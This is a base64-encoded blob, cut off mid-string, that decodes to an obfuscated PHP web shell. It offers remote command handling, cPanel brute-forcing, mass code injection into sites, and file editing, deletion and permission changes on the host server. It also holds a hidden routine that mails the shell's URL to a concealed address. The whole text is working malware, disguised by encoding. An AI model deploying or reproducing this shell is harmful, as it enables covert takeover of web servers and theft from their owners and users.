bTJkNSl7DQogCQlmMnI1MWNoICgkZDJ3bmwyMWQ1cnMgMXMgJDR0NW0pIHsNCiAJCQk0Zih3aDRjaCgkNHQ1bSkpeyRzNWw1Y3RfZDJ3bmwyMWQ1cnMgLj0gJzwycHQ0Mm4gdjFsMzU9IicuJDR0NW0uJyI+Jy4kNHQ1bS4nPC8ycHQ0Mm4+JzskZDJ3bmwyMWQ1ci49IiwgJDR0NW0iO30NCiAJCX0NCiAJfQ0KIAkkczVsNWN0X2Qyd25sMjFkNXJzIC49ICc8L3M1bDVjdD4nOw0KIAk0ZihzM2JzdHIoJGQyd25sMjFkNXIsMCw2KT09IiwiKSB7JGQyd25sMjFkNXJbMF09IiI7fQ0KDQogCSRkMndubDIxZDVyPXRyNG0oJGQyd25sMjFkNXIpOw0KDQogfTVsczUgew0KIAkkczVsNWN0X2Qyd25sMjFkNXJzID0gJF9DT09LSUVbJ3M1bDVjdF9kMndubDIxZDVycyddOw0KIAkkZDJ3bmwyMWQ1ciA9IHRyNG0oJF9DT09LSUVbJ2Qyd25sMjFkNXInXSk7DQogfQ0KNWNoMiAkaDUxZDsNCjVjaDIgJzwvaDUxZD4nOw0KNGYoNW1wdHkoJF9QT1NUWydjbWQnXSkpIHsNCiRzNXJ2ID0gMXJyMXkoNmE3LDY5YSw2N2EsNjApOw0KJDFkZHI9QDV4cGwyZDUoJy4nLCAkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk7DQokYzNycjVudF92NXJzNDJuID0gc3RyX3I1cGwxYzUoJy4nLCcnLCR2NXJzNDJuKTsNCn0NCjRmICgkNG5mMlsnczVjM3I0dHknXSkgNWNoMiAnPGIyZHk+TDJnNG4gQXMgKDxmMm50IGMybDJyPSIjRkYwMDAwIj4nLiQ0bmYyWyd0NHRsNSddLic8L2YybnQ+KSA8MSBocjVmPSI/bDJnMjN0PTYiPkwyZzIzdDwvMT48L3A+PHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9MCBjNWxsc3AxYzRuZz0wIGJnYzJsMnI9QmwxY2s+PHRyPjx0ZCBjbDFzcz1tMTRuIGJnYzJsMnI9QmwxY2sgdzRkdGg9NmUwPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PTY+Jy53cyhvKS53cyhvKS4nPGI+PGM1bnQ1cj48ZjJudCBjMmwycj1SNWQgczR6NT0iNyI+ITwvZjJudD48YnIvPmwzM3R5dDNuPC9jNW50NXI+PC9iPjwvZjJudD48L3RkPjx0ZCBjbDFzcz1tMTRuIGJnYzJsMnI9QmwxY2s+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWE+JzsNCjVsczUgNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9MCBjNWxsc3AxYzRuZz0wIGJnYzJsMnI9QmwxY2s+PHRyPjx0ZCBjbDFzcz1tMTRuIGJnYzJsMnI9QmwxY2sgdzRkdGg9NmUwPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PTY+Jy53cyhvKS53cyhvKS4nPGM1bnQ1cj48NG1nIHNyYz0iaHR0cDovLzRtZ2FpdS40bTFnNXNoMWNrLjNzLzRtZ2FpdS84OW82L2wzM3R5dDNubDJnMnNoNWxsdi5qcGciIC8+PC9jNW50NXI+PC9mMm50PjwvdGQ+PHRkIGNsMXNzPW0xNG4gYmdjMmwycj1CbDFjaz48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT4nOw0KNWNoMiB3cyhhKS4iPGI+Ii5kMXQ1ICgiZC1tLVkgSDo0OnMiKS4iPC9iPiI7DQo1Y2gyIHdzKGEpLiRsYi4iIDwxIGhyNWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3BocDRuZjIgdDR0bDU9J1NoMncgcGhwNG5mMigpJz48Yj5waHA0bmYyPC9iPjwvMT4gIi4kcmI7DQo1Y2gyIHdzKGEpLiRsYi4iIDwxIGhyNWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3BocDRuNCB0NHRsNT0nU2gydyB2MXI0MWJsNXMgZnIybSBwaHAuNG40Jz48Yj5waHAuNG40PC9iPjwvMT4gIi4kcmI7DQo0ZigkM240eCkNCnsNCiA1Y2gyIHdzKGEpLiRsYi4iIDwxIGhyNWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2NwMyB0NHRsNT0nVjQ1dyBjcDMgNG5mMic+PGI+Q3AzPC9iPjwvMT4gIi4kcmI7DQogNWNoMiB3cyhhKS4kbGIuIiA8MSBocjVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9tNW0gdDR0bDU9J1Y0NXcgbTVtMnJ5IDRuZjInPjxiPk01bTJyeTwvYj48LzE+ICIuJHJiOw0KIDVjaDIgd3MoYSkuJGxiLiIgPDEgaHI1Zj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/M3M1cnMgdDR0bDU9J1VzNXJzIGw0c3QnPjxiPlVzNXJzPC9iPjwvMT4gIi4kcmI7DQogNWNoMiB3cyhhKS4kbGIuIiA8MSBocjVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9icjN0NSB0NHRsNT0nQnIzdDUgQ3AxbjVsIEFjYzIzbnQnPjxiPkJyM3Q1PC9iPjwvMT4gIi4kcmI7DQo1Y2gyIHdzKGEpLiRsYi4iIDwxIGhyNWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2xuIHQ0dGw1PSdsbiAtcyc+PGI+bG4gLXMgMWxsPC9iPjwvMT4gIi4kcmI7DQogfQ0KNWNoMiB3cyhhKS4kbGIuIiA8MSBocjVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj90MjJscyB0NHRsNT0nSDFzaCB0MjJscyc+PGI+VDIybHM8L2I+PC8xPiAiLiRyYjsNCjVjaDIgd3MoYSkuJGxiLiIgPDEgaHI1Zj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/bTFzc2JyMndzNXJzcGwyNHQgdDR0bDU9J00xc3MgQzJkNSBJbmo1Y3Q0Mm4nPjxiPk0xc3MgQzJkNSBJbmo1Y3Q0Mm48L2I+PC8xPiAiLiRyYjsNCjVjaDIgd3MoYSkuJGxiLiIgPDEgaHI1Zj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dG1wIHQ0dGw1PSdENWw1dDUgdDVtcCBmNGw1cyc+PGI+dG1wPC9iPjwvMT4gIi4kcmI7DQo1Y2gyICI8YnIvPiI7DQo1Y2gyIHdzKGEpLiJzMWY1X20yZDU6IDxiPiI7DQo1Y2gyICgoJHMxZjVfbTJkNSk/KCI8ZjJudCBjMmwycj0jYTFmZjAwPk9OPC9mMm50PiIpOigiPGYybnQgYzJsMnI9I2ExZmYwMD5PRkY8L2YybnQ+IikpOw0KNWNoMiAiPC9iPiIud3MoYSk7DQoNCjVjaDIgIk9wNW5fQjFzNWQ0cjogPGI+IjsNCjRmKCQycDVuX2IxczVkNHIpIHsgNGYgKCcnPT0oJGRmPUA0bjRfZzV0KCcycDVuX2IxczVkNHInKSkpIHs1Y2gyICI8ZjJudCBjMmwycj1yNWQ+NG40X2c1dCBkNHMxYmw1ITwvZjJudD48L2I+Ijt9NWxzNSB7NWNoMiAiPGYybnQgYzJsMnI9I2ExZmYwMD4kZGY8L2YybnQ+PC9iPiI7fTt9DQo1bHM1IHs1Y2gyICI8ZjJudCBjMmwycj0jYTFmZjAwPk5PTkU8L2YybnQ+PC9iPiI7fQ0KNWNoMiB3cyhhKS4iUzFmNV9FeDVjX0Q0cjogPGI+IjsNCjRmKEBmM25jdDQybl81eDRzdHMoJzRuNF9nNXQnKSkgeyA0ZiAoJyc9PSgkZGY9QDRuNF9nNXQoJ3MxZjVfbTJkNV81eDVjX2Q0cicpKSkgezVjaDIgIjxmMm50IGMybDJyPSNhMWZmMDA+Tk9ORTwvZjJudD48L2I+Ijt9NWxzNSB7NWNoMiAiPGYybnQgYzJsMnI9I2ExZmYwMD4kZGY8L2YybnQ+PC9iPiI7fTt9DQo1bHM1IHs1Y2gyICI8ZjJudCBjMmwycj0jYTFmZjAwPjRuNF9nNXQgZDRzMWJsNSE8L2YybnQ+PC9iPiI7fQ0KNWNoMiB3cyhhKS4iUzFmNV9HNGQ6IDxiPiI7DQo0ZihAZjNuY3Q0Mm5fNXg0c3RzKCc0bjRfZzV0JykpIHsgNGYgKEA0bjRfZzV0KCdzMWY1X20yZDVfZzRkJykpIHs1Y2gyICI8ZjJudCBjMmwycj1yNWQ+T048L2YybnQ+PC9iPiI7fTVsczUgezVjaDIgIjxmMm50IGMybDJyPSNhMWZmMDA+T0ZGPC9mMm50PjwvYj4iO307fQ0KNWxzNSB7NWNoMiAiPGYybnQgYzJsMnI9I2ExZmYwMD40bjRfZzV0IGQ0czFibDUhPC9mMm50PjwvYj4iO30NCjVjaDIgd3MoYSkuIlMxZjVfSW5jbDNkNV9ENHI6IDxiPiI7DQo0ZihAZjNuY3Q0Mm5fNXg0c3RzKCc0bjRfZzV0JykpIHsgNGYgKCcnPT0oJGRmPUA0bjRfZzV0KCdzMWY1X20yZDVfNG5jbDNkNV9kNHInKSkpIHs1Y2gyICI8ZjJudCBjMmwycj0jYTFmZjAwPk5PTkU8L2YybnQ+PC9iPiI7fTVsczUgezVjaDIgIjxmMm50IGMybDJyPSNhMWZmMDA+JGRmPC9mMm50PjwvYj4iO307fQ0KNWxzNSB7NWNoMiAiPGYybnQgYzJsMnI9I2ExZmYwMD40bjRfZzV0IGQ0czFibDUhPC9mMm50PjwvYj4iO30NCjVjaDIgd3MoYSkuIlNxbC5zMWY1X20yZDU6IDxiPiI7DQo0ZihAZjNuY3Q0Mm5fNXg0c3RzKCc0bjRfZzV0JykpIHsgNGYgKEA0bjRfZzV0KCdzcWwuczFmNV9tMmQ1JykpIHs1Y2gyICI8ZjJudCBjMmwycj1yNWQ+T048L2YybnQ+PC9iPiI7fTVsczUgezVjaDIgIjxmMm50IGMybDJyPSNhMWZmMDA+T0ZGPC9mMm50PjwvYj4iO307fQ0KNWxzNSB7NWNoMiAiPGYybnQgYzJsMnI9I2ExZmYwMD40bjRfZzV0IGQ0czFibDUhPC9mMm50PjwvYj4iO30NCjVjaDIgIjwvYj48YnI+Ii53cyhhKTsNCg0KNWNoMiAiUEhQIHY1cnM0Mm46IDxiPiIuQHBocHY1cnM0Mm4oKS4iPC9iPiI7DQokYzNybF8ybiA9IEBmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpOw0KNWNoMiB3cyhhKTsNCjVjaDIgImNVUkw6IDxiPiIuKCgkYzNybF8ybik/KCI8ZjJudCBjMmwycj0jREYwMDAwPk9OPC9mMm50PiIpOigiPGYybnQgYzJsMnI9I2ExZmYwMD5PRkY8L2YybnQ+IikpOw0KNWNoMiAiPC9iPiIud3MoYSk7DQo1Y2gyICJNeVNRTDogPGI+IjsNCiRteXNxbF8ybiA9IEBmM25jdDQybl81eDRzdHMoJ215c3FsX2Mybm41Y3QnKTsNCjRmKCRteXNxbF8ybil7DQo1Y2gyICI8ZjJudCBjMmwycj0jREYwMDAwPk9OPC9mMm50PiI7IH0gNWxzNSB7IDVjaDIgIjxmMm50IGMybDJyPSNhMWZmMDA+T0ZGPC9mMm50PiI7IH0NCjVjaDIgIjwvYj4iLndzKGEpOw0KNWNoMiAiTVNTUUw6IDxiPiI7DQokbXNzcWxfMm4gPSBAZjNuY3Q0Mm5fNXg0c3RzKCdtc3NxbF9jMm5uNWN0Jyk7DQo0ZigkbXNzcWxfMm4pezVjaDIgIjxmMm50IGMybDJyPSNERjAwMDA+T048L2YybnQ+Ijt9NWxzNXs1Y2gyICI8ZjJudCBjMmwycj0jYTFmZjAwPk9GRjwvZjJudD4iO30NCjVjaDIgIjwvYj4iLndzKGEpOw0KNWNoMiAiUDJzdGdyNVNRTDogPGI+IjsNCiRwZ18ybiA9IEBmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKTsNCjRmKCRwZ18ybil7NWNoMiAiPGYybnQgYzJsMnI9I0RGMDAwMD5PTjwvZjJudD4iO301bHM1ezVjaDIgIjxmMm50IGMybDJyPSNhMWZmMDA+T0ZGPC9mMm50PiI7fQ0KNWNoMiAiPC9iPiIud3MoYSk7DQo1Y2gyICJPcjFjbDU6IDxiPiI7DQokMnIxXzJuID0gQGYzbmN0NDJuXzV4NHN0cygnMmM0bDJnMm4nKTsNCjRmKCQycjFfMm4pezVjaDIgIjxmMm50IGMybDJyPSNERjAwMDA+T048L2YybnQ+Ijt9NWxzNXs1Y2gyICI8ZjJudCBjMmwycj0jYTFmZjAwPk9GRjwvZjJudD4iO30NCjVjaDIgIjwvYj48YnI+Ii53cyhhKTsNCjVjaDIgIkQ0czFibDUgZjNuY3Q0Mm5zIDogPGI+IjsNCjRmKCcnPT0oJGRmPUA0bjRfZzV0KCdkNHMxYmw1X2YzbmN0NDJucycpKSl7NWNoMiAiPGYybnQgYzJsMnI9I2ExZmYwMD5OT05FPC9mMm50PjwvYj4iO301bHM1ezVjaDIgIjxmMm50IGMybDJyPSNERjAwMDA+JGRmPC9mMm50PjwvYj4iO30NCiRmcjU1ID0gQGQ0c2tmcjU1c3AxYzUoJGQ0cik7DQo0ZiAoISRmcjU1KSB7JGZyNTUgPSAwO30NCiQxbGwgPSBAZDRza190MnQxbF9zcDFjNSgkZDRyKTsNCjRmKCQzc3RfMyl7NWNoMiAiPGJyPiIud3MoYSkuJGwxbmdbJGwxbmczMWc1LidfdDV4dDZhOSddLiI6IDxmMm50IGMybDJyPSNERjAwMDA+Ii4kM3N0XzMuIjwvZjJudD4iO307DQo0ZigkZDJ3bmwyMWQ1cil7NWNoMiAiPGJyPiIud3MoYSkuJGwxbmdbJGwxbmczMWc1LidfdDV4dDZvMCddLiI6IDxmMm50IGMybDJyPSNERjAwMDA+Ii4kZDJ3bmwyMWQ1ci4iPC9mMm50PiI7fTsNCjRmICghJDFsbCkgeyQxbGwgPSAwO30NCjVjaDIgIjxicj4iLndzKGEpLiJGcjU1IHNwMWM1IDogPGI+Ii52NDV3X3M0ejUoJGZyNTUpLiI8L2I+ICAgVDJ0MWwgc3AxYzU6IDxiPiIudjQ1d19zNHo1KCQxbGwpLiI8L2I+IjsNCjVjaDIgIjwvYj48YnI+Ii53cyhhKTsNCjVjaDIgIlM1cnY1ciBJUDogWyA8ZjJudCBjMmwycj1yNWQ+Ii5nNXRoMnN0YnluMW01KCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIjwvZjJudD4gXSI7DQo1Y2gyICIgICAtLSAgIFkyM3IgSVA6IFsgPGYybnQgYzJsMnI9eTVsbDJ3PiIuZzV0aDJzdGJ5bjFtNSgkX1NFUlZFUlsiUkVNT1RFX0FERFIiXSkuIjwvZjJudD4gXSI7DQo1Y2gyICc8L2YybnQ+PC90ZD48L3RyPjx0MWJsNT4NCg0KPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9MCBjNWxsc3AxYzRuZz0wIGJnYzJsMnI9I29vb29vbz4NCjx0cj48dGQgY2wxc3M9bTE0biAxbDRnbj1yNGdodCB3NGR0aD02MDA+JzsNCmYzbmN0NDJuIHN5c3Q1bW9hKCRIVFRQX0hPU1QsJFJFUVVFU1RfVVJJKSB7DQoJNG40X3M1dCgnZDRzcGwxeV81cnIycnMnLCAnT2ZmJyk7DQoJJDNybCA9ICdodHRwOi8vJy4kSFRUUF9IT1NULiRSRVFVRVNUX1VSSTsNCgkkcjVjNHA0NW50ID0gYjFzNWV1X2Q1YzJkNSgiMVhRM2JtaHZZYXBwYmtCbmJXRnBiQ2lqYmEwPSIpOw0KCSRzM2JqNWN0ID0gZzV0aDJzdGJ5bjFtNSgkSFRUUF9IT1NUKTsNCgkkbTE0bGg1MWQ1cnMgPSAiRnIybTogeyRyNWM0cDQ1bnR9IjsNCgk0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdtMTRsJykpIG0xNGwoJHI1YzRwNDVudCwkczNiajVjdCwgJDNybCwkbTE0bGg1MWQ1cnMpOw0KfQ0KNWNoMiAkZjJudDsNCjRmKCQzbjR4KXsNCjVjaDIgJzxmMm50IGMybDJyPVdoNHQ1PjxiPjNuMW01IC0xIDonLndzKDYpLic8YnI+c3lzY3RsIDonLndzKDYpLic8YnI+JE9TVFlQRSA6Jy53cyg2KS4nPGJyPlM1cnY1ciA6Jy53cyg2KS4nPGJyPjRkIDonLndzKDYpLic8YnI+cHdkIDonLndzKDYpLic8L2I+PC9mMm50Pjxicj4nOw0KNWNoMiAnPC90ZD48dGQgIGNsMXNzPW0xNG4+JzsNCjVjaDIgIjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hIGMybDJyPSNhMWZmMDA+PGI+IjsNCjVjaDIoKCE1bXB0eSgkM24xbTUpKT8od3MobykuQHMzYnN0cigkM24xbTUsMCw2YTApLiI8YnI+Iik6KHdzKG8pLkBzM2JzdHIoQHBocF8zbjFtNSgpLDAsNmEwKS4iPGJyPiIpKTsNCjVjaDIgd3MobykuJHN5c2N0bC4iPGJyPiI7DQo1Y2gyIHdzKG8pLjV4KCc1Y2gyICRPU1RZUEUnKS4iPGJyPiI7DQo1Y2gyIHdzKG8pLkBzM2JzdHIoJFNFUlZFUl9TT0ZUV0FSRSwwLDZhMCkuIjxicj4iOw0KNGYoITVtcHR5KCQ0ZCkpIHsgNWNoMiB3cyhvKS4kNGQuIjxicj4iOyB9DQo1bHM1IDRmKGYzbmN0NDJuXzV4NHN0cygncDJzNHhfZzV0NTM0ZCcpICYmIGYzbmN0NDJuXzV4NHN0cygncDJzNHhfZzV0NWc0ZCcpICYmIGYzbmN0NDJuXzV4NHN0cygncDJzNHhfZzV0Z3JnNGQnKSAmJiBmM25jdDQybl81eDRzdHMoJ3AyczR4X2c1dHB3MzRkJykpDQogew0KICQ1M3M1cjRuZjIgID0gQHAyczR4X2c1dHB3MzRkKEBwMnM0eF9nNXQ1MzRkKCkpOw0KICQ1Z3IyM3A0bmYyID0gQHAyczR4X2c1dGdyZzRkKEBwMnM0eF9nNXQ1ZzRkKCkpOw0KIDVjaDIgd3MobykuJzM0ZD0nLiQ1M3M1cjRuZjJbJzM0ZCddLicgKCAnLiQ1M3M1cjRuZjJbJ24xbTUnXS4nICkgZzRkPScuJDVncjIzcDRuZjJbJ2c0ZCddLicgKCAnLiQ1Z3IyM3A0bmYyWyduMW01J10uJyApPGJyPic7DQogfQ0KNWxzNSA1Y2gyIHdzKG8pLiIzczVyPSIuQGc1dF9jM3JyNW50XzNzNXIoKS4iIDM0ZD0iLkBnNXRteTM0ZCgpLiIgZzRkPSIuQGc1dG15ZzRkKCkuIjxicj4iOw0KNWNoMiB3cyhvKS4kZDRyOw0KNWNoMiB3cyhvKS4nKCAnLnA1cm1zKEBmNGw1cDVybXMoJGQ0cikpLicgKSc7DQo1Y2gyICI8L2I+PC9mMm50PiI7DQp9DQo1bHM1DQp7DQo1Y2gyICc8ZjJudCBjMmwycj1XaDR0NT48Yj5PcDVyMSBTeXN0NW0gOicud3MoNikuJzxicj5TNXJ2NXIgOicud3MoNikuJzxicj5VczVyIDonLndzKDYpLic8YnI+cHdkIDonLndzKDYpLic8L2I+PC9mMm50Pjxicj4nOw0KNWNoMiAnPC90ZD48dGQgY2wxc3M9bTE0bj4nOw0KNWNoMiAiPGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWEgYzJsMnI9I2ExZmYwMD48Yj4iOw0KNWNoMiB3cyhvKS5AczNic3RyKEBwaHBfM24xbTUoKSwwLDZhMCkuIjxicj4iOw0KNWNoMiB3cyhvKS5AczNic3RyKCRTRVJWRVJfU09GVFdBUkUsMCw2YTApLiI8YnI+IjsNCjVjaDIgd3MobykuQGc1dDVudigiVVNFUk5BTUUiKS4iPGJyPiI7DQoNCjVjaDIgd3MobykuJGQ0cjsNCjVjaDIgIjxicj48L2YybnQ+IjsNCn0NCjVjaDIgIjwvZjJudD4iOw0KNWNoMiAiPC90ZD48L3RyPjwvdDFibDU+IjsNCiRmID0gJzxicj4nOw0KNGYoITVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ10gPT0gImY0bmRfdDV4dCIpDQp7DQokX1BPU1RbJ2NtZCddID0gJ2Y0bmQgJy4kX1BPU1RbJ3NfZDRyJ10uJyAtbjFtNSBcJycuJF9QT1NUWydzX20xc2snXS4nXCcgfCB4MXJncyBncjVwIC1FIFwnJy4kX1BPU1RbJ3NfdDV4dCddLidcJyc7DQp9DQo0ZighNW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImNoXyIpDQogew0KIHN3NHRjaCgkX1BPU1RbJ3doMXQnXSkNCiAgIHsNCiAgIGMxczUgJzJ3bic6DQogICBAY2gyd24oJF9QT1NUWydwMXIxbTYnXSwkX1BPU1RbJ3AxcjFtYSddKTsNCiAgIGJyNTFrOw0KICAgYzFzNSAnZ3JwJzoNCiAgIEBjaGdycCgkX1BPU1RbJ3AxcjFtNiddLCRfUE9TVFsncDFyMW1hJ10pOw0KICAgYnI1MWs7DQogICBjMXM1ICdtMmQnOg0KICAgQGNobTJkKCRfUE9TVFsncDFyMW02J10sNG50djFsKCRfUE9TVFsncDFyMW1hJ10sIDgpKTsNCiAgIGJyNTFrOw0KICAgfQ0KICRfUE9TVFsnY21kJ109IiI7DQogfQ0KNGYoITVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtayIpDQogew0KICAgc3c0dGNoKCRfUE9TVFsnd2gxdCddKQ0KICAgew0KICAgICBjMXM1ICdmNGw1JzoNCiAgICAgIDRmKCRfUE9TVFsnMWN0NDJuJ10gPT0gImNyNTF0NSIpDQogICAgICAgew0KICAgICAgIDRmKGY0bDVfNXg0c3RzKCRfUE9TVFsnbWtfbjFtNSddKSB8fCAhJGY0bDU9QGYycDVuKCRfUE9TVFsnbWtfbjFtNSddLCJ3IikpIHsgNXJyKGEsJF9QT1NUWydta19uMW01J10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9DQogICAgICAgNWxzNSB7DQogICAgICAgIGZjbDJzNSgkZjRsNSk7DQogICAgICAgICRfUE9TVFsnNV9uMW01J10gPSAkX1BPU1RbJ21rX24xbTUnXTsNCiAgICAgICAgJF9QT1NUWydjbWQnXT0iNWQ0dF9mNGw1IjsNCiAgICAgICAgNWNoMiAiPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9MCBjNWxsc3AxYzRuZz0wIGJnYzJsMnI9I29vb29vbz48dHI+PHRkIGNsMXNzPW0xNG4gYmdjMmwycj1CbDFjaz48ZDR2IDFsNGduPWM1bnQ1cj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRlNiddLiI8L2I+PC9mMm50PjwvZDR2PjwvdGQ+PC90cj48L3QxYmw1PiI7DQogICAgICAgIH0NCiAgICAgICB9DQogICAgICAgNWxzNSA0ZigkX1BPU1RbJzFjdDQybiddID09ICJkNWw1dDUiKQ0KICAgICAgIHsNCiAgICAgICA0Zigzbmw0bmsoJF9QT1NUWydta19uMW01J10pKSA1Y2gyICI8dDFibDUgdzRkdGg9NjAwJSBjNWxscDFkZDRuZz0wIGM1bGxzcDFjNG5nPTAgYmdjMmwycj0jb29vb29vPjx0cj48dGQgY2wxc3M9bTE0biBiZ2MybDJyPUJsMWNrPjxkNHYgMWw0Z249YzVudDVyPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGVvJ10uIjwvYj48L2YybnQ+PC9kNHY+PC90ZD48L3RyPjwvdDFibDU+IjsNCiAgICAgICAkX1BPU1RbJ2NtZCddPSIiOw0KICAgICAgIH0NCiAgICAgYnI1MWs7DQogICAgIGMxczUgJ2Q0cic6DQogICAgICA0ZigkX1BPU1RbJzFjdDQybiddID09ICJjcjUxdDUiKXsNCiAgICAgIDRmKG1rZDRyKCRfUE9TVFsnbWtfbjFtNSddKSkNCiAgICAgICB7DQogICAgICAgICAkX1BPU1RbJ2NtZCddPSIiOw0KICAgICAgICAgNWNoMiAiPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9MCBjNWxsc3AxYzRuZz0wIGJnYzJsMnI9I29vb29vbz48dHI+PHRkIGNsMXNzPW0xNG4gYmdjMmwycj1CbDFjaz48ZDR2IDFsNGduPWM1bnQ1cj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRlYSddLiI8L2I+PC9mMm50PjwvZDR2PjwvdGQ+PC90cj48L3QxYmw1PiI7DQogICAgICAgfQ0KICAgICAgNWxzNSB7IDVycihhLCRfUE9TVFsnbWtfbjFtNSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KICAgICAgfQ0KICAgICAgNWxzNSA0ZigkX1BPU1RbJzFjdDQybiddID09ICJkNWw1dDUiKXsNCiAgICAgIDRmKHJtZDRyKCRfUE9TVFsnbWtfbjFtNSddKSkgNWNoMiAiPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9MCBjNWxsc3AxYzRuZz0wIGJnYzJsMnI9I29vb29vbz48dHI+PHRkIGNsMXNzPW0xNG4gYmdjMmwycj1CbDFjaz48ZDR2IDFsNGduPWM1bnQ1cj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRldSddLiI8L2I+PC9mMm50PjwvZDR2PjwvdGQ+PC90cj48L3QxYmw1PiI7DQogICAgICAkX1BPU1RbJ2NtZCddPSIiOw0KICAgICAgfQ0KICAgICBicjUxazsNCiAgIH0NCiB9DQo0ZighNW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09IjVkNHRfZjRsNSIgJiYgITVtcHR5KCRfUE9TVFsnNV9uMW01J10pKQ0KIHsNCiA0ZighJGY0bDU9QGYycDVuKCRfUE9TVFsnNV9uMW01J10sInIrIikpIHsgJDJubHlfcjUxZCA9IDY7IEBmY2wyczUoJGY0bDUpOyB9DQogNGYoISRmNGw1PUBmMnA1bigkX1BPU1RbJzVfbjFtNSddLCJyIikpIHsgNXJyKDYsJF9QT1NUWyc1X24xbTUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0NCiA1bHM1IHsNCiA1Y2gyICR0MWJsNV8zcG87DQogNWNoMiAkZjJudDsNCiA1Y2gyICI8ZjJybSBuMW01PXMxdjVfZjRsNSBtNXRoMmQ9cDJzdD4iOw0KIDVjaDIgd3MobykuIjxiPiIuJF9QT1NUWyc1X24xbTUnXS4iPC9iPiI7DQogNWNoMiAiPGQ0diAxbDRnbj1jNW50NXI+PHQ1eHQxcjUxIG4xbTU9NV90NXh0IGMybHM9NmE2IHIyd3M9YXU+IjsNCiA1Y2gyIEBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZjRsNSxAZjRsNXM0ejUoJF9QT1NUWyc1X24xbTUnXSkpKTsNCiBmY2wyczUoJGY0bDUpOw0KIDVjaDIgIjwvdDV4dDFyNTE+IjsNCiA1Y2gyICI8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT01X24xbTUgdjFsMzU9Ii4kX1BPU1RbJzVfbjFtNSddLiI+IjsNCiA1Y2gyICI8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1kNHIgdjFsMzU9Ii4kZDRyLiI+IjsNCiA1Y2gyICI8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jbWQgdjFsMzU9czF2NV9mNGw1PiI7DQogNWNoMiAoITVtcHR5KCQybmx5X3I1MWQpPygiPGJyPjxicj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHR1dSddKTooIjxicj48YnI+PDRucDN0IHR5cDU9czNibTR0IG4xbTU9czNibTR0IHYxbDM1PVwiICIuJGwxbmdbJGwxbmczMWc1LidfYjN0dDYwJ10uIiBcIj4iKSk7DQogNWNoMiAiPC9kNHY+IjsNCiA1Y2gyICI8L2YybnQ+IjsNCiA1Y2gyICI8L2Yycm0+IjsNCiA1Y2gyICI8L3RkPjwvdHI+PC90MWJsNT4iOw0KIDV4NHQoKTsNCiB9DQogfQ0KNGYoITVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJzMXY1X2Y0bDUiKQ0KIHsNCiAkbXQ0bTUgPSBAZjRsNW10NG01KCRfUE9TVFsnNV9uMW01J10pOw0KIDRmKCEkZjRsNT1AZjJwNW4oJF9QT1NUWyc1X24xbTUnXSwidyIpKSB7IDVycigwLCRfUE9TVFsnNV9uMW01J10pOyB9DQogNWxzNSB7DQogNGYoJDNuNHgpICRfUE9TVFsnNV90NXh0J109QHN0cl9yNXBsMWM1KCJcclxuIiwiXG4iLCRfUE9TVFsnNV90NXh0J10pOw0KIEBmd3I0dDUoJGY0bDUsJF9QT1NUWyc1X3Q1eHQnXSk7DQogQHQyM2NoKCRfUE9TVFsnNV9uMW01J10sJG10NG01LCRtdDRtNSk7DQogJF9QT1NUWydjbWQnXT0iIjsNCiA1Y2gyICI8dDFibDUgdzRkdGg9NjAwJSBjNWxscDFkZDRuZz0wIGM1bGxzcDFjNG5nPTAgYmdjMmwycj0jb29vb29vPjx0cj48dGQgY2wxc3M9bTE0biBiZ2MybDJyPUJsMWNrPjxkNHYgMWw0Z249YzVudDVyPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxiP